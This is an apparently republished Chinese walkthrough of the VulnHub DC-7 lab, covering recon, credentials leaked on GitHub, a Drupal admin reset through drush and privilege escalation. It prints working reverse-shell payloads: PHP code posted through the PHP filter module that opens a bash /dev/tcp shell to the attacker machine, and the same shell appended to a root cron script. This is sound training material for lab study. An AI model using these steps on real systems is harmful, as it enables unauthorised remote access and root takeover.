vulnhub靶场【DC系列】之7

前言

靶机:DC-7,IP地址为192.168.10.13

攻击:kali,IP地址为192.168.10.2

都采用VMWare,网卡为桥接模式

对于文章中涉及到的靶场以及工具,我放置在网盘中,链接:https://pan.quark.cn/s/203d4b01f3d7

主机发现

使用arp-scan -l或者netdiscover -r 192.168.10.1/24

因为是靶机,所以在同一局域网中,这里使用这两个工具是因为在同一局域网中的扫描速度很快

当然,如果想要模拟真实渗透,可以使用nmap等扫描工具

主机发现

使用arp-scan -l或者netdiscover -r 192.168.10.1/24

因为是靶机,所以在同一局域网中,这里使用这两个工具是因为在同一局域网中的扫描速度很快

当然,如果想要模拟真实渗透,建议使用nmap等扫描工具

网站信息探测

访问80端口默认界面,发现这个CMS之前见过,是drupal,不过这里给出的话有点东西,下面翻译看看

把这段话翻译,然后以图片来看,应该更直观

使用whatweb进一步确定drupal是否正确

whatweb http://192.168.10.13

这里看到是drupal 8在之前的DC-1靶场中是drupal 7版本,然后通过msf进行的攻击

但是这里不行,按照提示,虽然进行爆破没有什么用,但是还是进行一下目录扫描,不过这次感觉东西是真多,之前并未出现这种情况,感觉是作者为了再次的提醒一样,这里放一张图吧,是放在那里进行好久的目录爆破

漏洞寻找

再使用burp等工具尝试对登录进行一个爆破,发现若长时间的爆破,会使得其进行了限制,注意,这里是对账号进行的限制

尝试获取js代码,测试有无这方面的,但是发现基本上都是调用外部js,无用处

在发现的搜索处进行各种注入测试,发现也是不行,使用sqlmap测试,发现也是不行

抓取每个请求的数据包,发现也是无内容,那么尝试搜搜,看能否有源码之类的泄露,尝试直接搜索drupal 8,但是想到这里都是纯净的原始状态,除非进行代码审计,去把其中的代码进行分析,然后找出漏洞

啧,再找找。在网站的底部,发现一串字符,想来,平常这种位置,一般也是邮箱偏多,这种形式,还真是少见的,尝试对这个进行搜索@DC7USER

源码泄露

因为靶机属于国外的作者所制作,所以,这里建议采用google进行搜索,可以明确的看到,在github有项目

查看该项目,可以看到,readme文件,给出了方向,说明找对了方向

在众多代码中,我们要么就是进行代码审计,要么就是寻找配置文件

查看config.php文件,发现关键信息,项目地址https://github.com/Dc7User/staffdb/blob/master/config.php

连接数据库的用户名dc7user和密码MdR3xOgB7#dW

那么在之前端口扫描的时候,并未发现数据库相关的服务端口是开放的,那么就猜测这个用户名和密码,可能是多用的,尝试以这一组身份信息,登录网站

不过这里还是登录不了网站,啧,既然是登录,就不应该如此,说明这一组不是网站的

还有ssh服务,尝试进行登录,登录成功

提权点寻找

查看当前目录下的文件mbox,发现好多信息

到备份数据库数据的目录下,查看,发现数据大小为0

那么查看其中的备份脚本,看以所属者和所属组,以及脚本内容,好家伙,是gpg加密,但是文件无内容,并且尝试解密,也是只有gpg: decrypt_message failed: Unknown system error

并且这个脚本所属组是www-data,加入脚本可以修改或者使用临时环境变量,也都无法提权至root

错误的提权

使用find寻找具有SUID权限文件,发现一个文件,是不是很眼熟,这里在前面的DC-4靶机一样

find / -perm -4000 -print 2>/dev/null

这里与前面的mbox文件中的信息提到的一样,还是再确定一下版本

/usr/sbin/exim4 --version

kali中使用searchsploit搜索对应的版本漏洞,并复制到当前目录下

如果忘了用法,这里再查看这个脚本即可,脚本文件名加上后面两种即可

然后把这个脚本上传到靶机,可以使用python配合wget或者直接使用scp,因为这里是以ssh连接

scp ./46996.sh dc7user@192.168.10.13:/tmp

这里还可以看到,该脚本具有执行权限,直接执行,但是发现不行

正确的提权方向

那么只能再次回到备份文件脚本的问题,也就是/opt/scripts/backups.sh

因为当前用户dc7user还不属于www-data组,也就是说,两个办法,要不切换到www-data,要不就是root

对于现在的情况来说,只能切换到www-data

这里我在/var/www/html中找到配置文件settings.php,发现其中连接数据库的账号与密码

但是连接数据库后,发现这里面只是记录网站访问等一些信息,并没有用户信息保存在这里

回头查看/opt/scripts/backups.sh脚本,发现这里除了gpg无用,还有一个命令没接触过drush

使用AI搜索一下

Drush 是 Drupal 的配套工具

  • Drupal 是一个功能强大的内容管理系统(CMS),用于构建和管理网站。它提供了丰富的网站构建模块、主题系统、用户管理、内容发布等功能。然而,在实际的网站管理和开发过程中,仅仅通过 Drupal 的图形界面来操作可能会比较繁琐。
  • 当 Drush 是通过 Composer 在项目本地安装时,它通常位于项目的vendor/bin/目录下。例如,如果你的 Drupal 项目位于/var/www/drupal_project/,并且通过 Composer 安装了 Drush,那么 Drush 可执行文件可能位于/var/www/drupal_project/vendor/bin/drush

这里列出drush的增、删、改、查的操作

#增操作
drush user-create [new_user_name] --mail=[user_email] --password=[user_password]
#其中[new_user_name]是新用户的用户名,--mail选项用于指定用户的电子邮件地址,--password选项用于指定用户的密码。

#删操作
drush user-cancel [user_name]

#改操作
drush user-password [user_name] -password=[new_password]
#其中[user_name]是要更改密码的用户名,[new_password]是新密码。

#查操作
drush user-list
#列出用户情况

我这里因为执行命令时,出现错误,把admin删除了,所以这里重装靶机,唉😔,不过IP地址没有变

这里测试后,发现只有改和删的操作是可以的

drush user-password admin --password=123

登录网站,为什么,因为根据备份文件,要获取www-data的身份

经过测试,发现并没有可利用点,不过这里可以安装模块,因为网站当前身份是admin

extend中,尝试安装一些模块,当然这里可以访问其官方网站,然后通过这里去下载

图中,蓝色超链接的标志,这里提供官网模块地址,访问后,可以直接搜索寻找

https://www.drupal.org/project/project_module

但是这里我原本打算,把模块文件下载到kali中,然后修改其中的内容,但是发现本地无法上传成功,不管有无修改,这个方式都不行

获取www-data的反弹1shell

只能采取第一种方式,链接下载,这里的地址,在输入框下面已经给出提示了

For example: https://ftp.drupal.org/files/projects/name.tar.gz

既然无法修改,那么就安装php模块,因为搜索发现在8版本中,取消了这个,所以需要自己主动安装。

可以先访问下面的链接地址,来确定当前版本可支持使用的php

https://www.drupal.org/project/php/releases/8.x-1.0

然后构造链接,从URL下载

https://ftp.drupal.org/files/projects/php-8.x-1.0.tar.gz

然后在扩展列表界面,下滑,找到php filter,把这个勾选上,然后再下滑到最后,点击install

成功启动

打开一个文章,然后对其进行编辑,可以发现,可以更改其为php代码的形式

那么新建一个文章,然后使用php格式,然后进行保存

<?php
exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.10.2/9999 0>&1'");
//system($_REQUEST['cmd']);		//用于测试使用
?>

当然,在执行上面的反弹shell时,需要先在kali中开启监听

nc -lvvp 9999

获取到www-databash

提权至root

然后在该脚本的末尾加入反弹shell代码,不过需要在kali另起终端,监听8888端口

echo "/bin/bash -c 'bash -i >& /dev/tcp/192.168.10.2/8888 0>&1'" >> backups.sh

如果,这条命令不行,就可以在https://forum.ywhack.com/shell.php测试合适的,添加就是了

查看flag

这里补充说一下,对于脚本backups.sh,修改后,不要执行,一旦执行,是以当前用户的身份,也就是www-data执行的,是无法提权的。

这里我忘了放图了,在前面,我是借助工具pspy64获取到backups.sh会以root身份执行,只是时间间隔有点大,所以当时没有截图

该工具项目地址https://github.com/DominicBreuker/pspy/releases

总结

该靶场考察以下几点:

  1. 对于信息收集时,源码泄露能否会寻找,这里是通过一个作者名搜索到gihub的项目
  2. 对于提权时,发现的东西都要去试一试,这里先测试exim4不行后,再下手脚本文件
  3. 对于脚本文件的所属者和所属组要搞清楚,这里dc7user不属于www-data组,所以还需要获取www-data用户的反弹shell,那么就需要从网站下手
  4. 对于drushdrupal是配合使用的,所以简单了解drush的增删改查即可
  5. drupal 8下载扩展模块,可以自己选择,不过出于安全,版本8没有php,所以可以安装php
  6. 通过php中的函数,可执行命令,来获取www-datashell
  7. 通过pspy64观察有root执行的定时任务,并且是脚本backups.sh,用户www-data可修改。获取到www-databash后,就可以修改文件,添加反弹shell的命令,等待root去执行这个定时任务,触发脚本中的反弹shell代码

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/950487.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

腾讯云AI代码助手编程挑战赛-图片转换工具

作品简介&#xff1a; 解决了人们学习生活中的图片格式转换问题&#xff0c; 制作该脚本&#xff0c;省去了打开在线编辑器操作的时间&#xff0c; 免费为用户提供图片格式的转换的实用小工具 技术架构 python语言的tk库来完成的GUI页面设计&#xff0c; 引用PIL包转换图…

Linux 文件的特殊权限—ACL项目练习

本文为Ubuntu Linux操作系统- 第二十一期~~ 上期回顾: 【ACL权限控制详解】 更多Linux 相关内容请点击&#x1f449;【Linux专栏】~ 主页&#xff1a;【练小杰的CSDN】 文章目录 项目项目要求具体的设置命令如下问题2问题3第一步&#xff1a;设置默认ACL前&#xff0c;在projec…

系统日志优化---自定义springboot-starter日志组件供各个服务使用

在优化项目时发现各个微服务都有各自的接口调用日志逻辑&#xff0c;比如每个服务都定义一个aop类拦截&#xff0c;十分冗余&#xff0c;其实是可以做成starter被各个服务引用使用&#xff0c;前提要先了解一下springboot自动装配原理 创建springboot工程&#xff0c;如果是jdk…

Matlab贝叶斯估计MCMC分析药物对不同种群生物生理指标数据评估可视化

全文链接&#xff1a;https://tecdat.cn/?p38756 摘要&#xff1a;本文着重探讨了如何利用Matlab实现贝叶斯估计。阐述了具体的实现流程&#xff0c;涵盖数据加载、先验常数设定、马尔可夫链蒙特卡洛&#xff08;MCMC&#xff09;属性指定、模型构建、运行链条以及结果查看等环…

js:日期对象和dom节点

日期对象 事件对象在前端开发里经常用来表示日期&#xff1a; 可以获取当前系统的时间 实例化 使用new关键字来实例化一个对象&#xff1a; const date new Date()console.log(date); 获取当前时间 const date new Date(2008-8-8)console.log(date); 获取指定时间 写得…

Ⅱ.INTRODUCTION TO CUDA C (CUDA C 入门)

前言 上一节环境配置好了&#xff0c;我们开始吧&#xff01; 一、A First Program 1. Hello, World! 我们先写一个C语言的 Hello, World! 作为对比 int main(void){printf("Hello, World!\n");return 0; }大家应该知道这个代码运行在CPU上吧&#xff0c;我们CP…

rsync如何实时同步

一、准备rsyncd服务环境 backup服务器&#xff08;rsync服务端&#xff09; 1、恢复了快照&#xff0c;重新安装rsync服务端 2、快速的部署rsyncd服务端 #!/bin/bash yum install rsync -ycat > /etc/rsyncd.conf << EOF uid www gid www port 873 fake supe…

Python的Matplotlib库应用(超详细教程)

目录 一、环境搭建 1.1 配置matplotlib库 1.2 配置seaborn库 1.3 配置Skimage库 二、二维图像 2.1 曲线&#xff08;直线&#xff09;可视化 2.2 曲线&#xff08;虚线&#xff09;可视化 2.3 直方图 2.4 阶梯图 三、三维图像 3.1 3D曲面图 3.2 3D散点图 3.3 3D散…

vue之element-ui文件上传(二)

一、点击上传&#xff0c;使用默认的action上传&#xff0c;添加校验&#xff0c;上传成功后&#xff0c;去除校验&#xff1a; <el-form-item label"文件md5" prop"fileMd5"><el-uploadv-if"!form.fileMd5"v-model"form.fileMd5&…

java项目之旅游网站的设计与实现(源码+文档)

风定落花生&#xff0c;歌声逐流水&#xff0c;大家好我是风歌&#xff0c;混迹在java圈的辛苦码农。今天要和大家聊的是一款基于springboot的旅游网站的设计与实现。 项目源码以及部署相关请联系风歌&#xff0c;文末附上联系信息 。 项目简介&#xff1a; 基于SpringBoot的…

IOS开发如何从入门进阶到高级

针对iOS开发的学习&#xff0c;不同阶段应采取不同的学习方式&#xff0c;以实现高效提升.本文将iOS开发的学习分为入门、实战、进阶三个阶段&#xff0c;下面分别详细介绍. 一、学习社区 iOS开源中国社区 这个社区专注于iOS开发的开源项目分享与协作&#xff0c;汇集了大量开…

ubuntu编译ijkplayer,支持rmvb以及mkv

1. 准备环境 sudo apt-get update apt install gcc yasm cmake python p7zip-full vim pkg-config autoconf automake build-essential dos2unix mercurial cmake-curse-gui -y apt-get -y --force-yes install libass-dev libtheora-dev libtool libva-dev libvdpau-dev libv…

Ardupilot开源无人机之Geek SDK进展2024

Ardupilot开源无人机之Geek SDK进展202501 1. 源由2. 状态3. TODO3.1 跟踪目标框3.2 onnxruntime版本3.3 CUDA 11.8版本3.4 pytorch v2.5.1版本3.5 Inference性能3.6 特定目标集Training 4. 参考资料 1. 源由 前期搭建《Ardupilot开源无人机之Geek SDK》&#xff0c;主要目的是…

《Spring Framework实战》3:概览

欢迎观看《Spring Framework实战》视频教程 Spring Framework 为基于现代 Java 的企业应用程序提供了全面的编程和配置模型 - 在任何类型的部署平台上。 Spring 的一个关键要素是应用程序级别的基础设施支持&#xff1a;Spring 专注于企业应用程序的 “管道”&#xff0c;以便…

Linux初识——基本指令

我们在linux下输入各种指令&#xff0c;其实就相当于在windows中的相关操作&#xff0c;比如双击&#xff0c;新建文件夹等。 以下是相关基本指令基本用法 一.ls&#xff08;显示当前目录下的所有文件和目录&#xff09; 那如何显示当前目录&#xff08;我们所在的位置&…

小程序开发-页面事件之上拉触底实战案例

&#x1f3a5; 作者简介&#xff1a; CSDN\阿里云\腾讯云\华为云开发社区优质创作者&#xff0c;专注分享大数据、Python、数据库、人工智能等领域的优质内容 &#x1f338;个人主页&#xff1a; 长风清留杨的博客 &#x1f343;形式准则&#xff1a; 无论成就大小&#xff0c;…

医疗可视化大屏 UI 设计新风向

智能化交互 借助人工智能与机器学习技术&#xff0c;实现更智能的交互功能。如通过语音指令或手势控制来操作大屏&#xff0c;医护人员无需手动输入&#xff0c;可更便捷地获取和处理信息。同时&#xff0c;系统能根据用户的操作习惯和数据分析&#xff0c;自动推荐相关的医疗…

IT面试求职系列主题-Jenkins

想成功求职&#xff0c;必要的IT技能一样不能少&#xff0c;先说说Jenkins的必会知识吧。 1) 什么是Jenkins Jenkins 是一个用 Java 编写的开源持续集成工具。它跟踪版本控制系统&#xff0c;并在发生更改时启动和监视构建系统。 2&#xff09;Maven、Ant和Jenkins有什么区别…

力扣刷题:数组OJ篇(上)

大家好&#xff0c;这里是小编的博客频道 小编的博客&#xff1a;就爱学编程 很高兴在CSDN这个大家庭与大家相识&#xff0c;希望能在这里与大家共同进步&#xff0c;共同收获更好的自己&#xff01;&#xff01;&#xff01; 目录 1.消失的数字&#xff08;1&#xff09;题目描…

2024 高级爬虫笔记(六)scrapy框架基础知识

目录 一、Scrapy框架基础知识1.1、什么是scrapy&#xff1f;1.2、scrapy的工作流程1.3、scrapy中每个模块的作用&#xff1a;1.4、scrapy的入门使用1.4.1 安装scrapy1.4.2、scrapy项目实现流程1.4.3、创建scrapy项目1.4.4、创建爬虫1.4.5、完善spider1.4.6、配置settings文件1.…